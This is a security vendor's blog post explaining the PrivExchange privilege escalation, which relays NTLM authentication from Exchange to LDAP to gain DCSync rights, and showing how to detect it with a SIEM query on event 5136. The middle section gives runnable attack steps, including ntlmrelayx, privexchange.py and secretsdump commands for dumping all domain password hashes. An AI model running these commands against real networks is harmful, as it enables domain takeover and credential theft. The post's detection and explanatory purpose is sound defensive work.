By Sandeep Sigdel, Lead Architect Security Analytics, LogPoint
In organizations using AD and Exchange servers, a vulnerability allows for the Admin on the Exchange server to grant any user Domain Administrative privileges. This is the “golden key to the kingdom.” Exploitation of this vulnerability could potentially have catastrophic consequences.
In this blog post we research the cause of the vulnerability, and we show how LogPoint can detect and prevent disaster.
The vulnerability in Exchange allows attackers to authenticate Exchange using NTLM over HTTP. This can be combined with an NTLM relay attack to escalate from any user with a mailbox to Domain Admin in most of the organization. This attack is possible by default. However, mitigations could be applied to prevent the privilege escalation.
Three vulnerabilities combined to promote any user within a mailbox to Domain Admin:
Exchange servers have high privilege by default
NTLM authentication is vulnerable to relay attacks
Exchange has a feature which makes it authenticate to an attacker with the computer account of the Exchange server
Exchange has high privilege in the AD domain. The Exchange Windows Permissions group has WriteDacl access on the Domain object in Active Directory, which enables any member of this group to modify the domain privileges, among which is the privilege to perform DCSync operations. User and computers with this privilege can perform synchronization operations that are usually used by DC to replicate, allowing attackers to synchronize all the hashed passwords of users in AD.
The NTLM protocol could be abused to a hijack victim session through the process called “relaying.” Relaying misuses the victim’s credentials by forwarding them to a different service rather than to the intended one. As the NTLM protocol is still supported and enabled by default in many cases, it is possible that many organizations may get victimized.
The NTLM relaying was used to relay NTLM authentication over SMB to get code execution on other hosts. However, in many organizations, there is also the possibility to authenticate over HTTP, and other protocols like LDAP are also vulnerable to relaying. If the authentication is relayed to LDAP, the objects in the directory can be modified to grant an attacker the privileges required for DCSync operations. Consequently, there is a possibility to perform ACL attacks, if we can get the Exchange server to authenticate with NTLM authentication.
The process of passing authentications looks like this:
Getting Exchange to authenticate
A vulnerability allows Exchange to authenticate to an arbitrary URL over HTTP via the Exchange PushSubscription feature. If combined with the extended privileges, Exchange has by default to perform a relay attack, hence it is possible to grant ourselves the DCSync rights. The push notification service has an option to send a message periodically over an interval of time (can be specified) even if no event occurred. This ensures Exchange to establish continuous connectivity with the user.
The privilege escalation attack is as follows:
The steps to perform privilege escalation attack are:
Step 1: Setup AD and Exchange
Step 2: Choose the machine to attack and install the impacket module in that machine: sudo pip install impacket
Step 3: Insert the entry for domain name and ip for your AD and Exchange servers in /etc/hosts file.
Step 4: Clone the tool PrivExchange in the convenient directory.
Step 5: Start ntlmrelayx in relay mode with LDAP on a Domain Controller as target, and supply a user under the attackers control to escalate privileges: sudo ntlmrelayx.py -t ldap://ad_hostname –escalate-user username ; where username is the user in AD whose privilege needs to be escalated
Step 6: Run the privexchange.py script python privexchange.py -ah attacker_ip_or_hostname exchange_hostname -u exchange_user -d exchange_domain ; where attacker_ip_or_hostname is the hostname or ip of the attacker machine, exchange_user is the exchange user, and exchange_domain is the domain name of exchange.
After a minute (which is the ¬value supplied for the push notification) we see the connection coming in at ntlmrelayx, which gives our user DCSync privileges:
Step 8: Confirm the DCSync rights are in place with secretsdump:
secretsdump.py [email protected]_hostname -just-dc ; user is the username whose privilege was escalated, ad_hostname is the hostname of AD
With all the hashed passwords of all Active Directory users the attacker can create golden tickets to impersonate any user or use the password hash of any user to authenticate to any service accepting NTLM or Kerberos authentication in the domain.
This attack involves modifying objects in the directory to grant an attacker the privileges required for DCSync operations. Whenever there are changes in AD objects, Windows issues event 5136 (provided the auditing is enabled). For a change operation, we typically see two 5136 events for one action, with different Operation Type “Value Deleted” followed by “Value Added.” “Value Deleted” contains previous value and “Value Added” event contains new value.
To monitor modifications to specific Active Directory attributes (ACL changes in our case), we need to monitor for the LDAPDisplayName field with the specific attribute name (i.e., ldap_display=”nTSecurityDescriptor”).
Use the LogPoint SIEM solution to Audit and Monitor changes made to ACL (Event ID 5136). This can be done by creating the alerts with the following query:
[label=Remove label=Directory label=Service label=Change ldap_display=”nTSecurityDescriptor” -user=SYSTEM] as s1 followed by [label=Add label=Directory label=Service label=Change ldap_display=”nTSecurityDescriptor” -user=SYSTEM] as s2 on s1.operation_id=s2.operation_id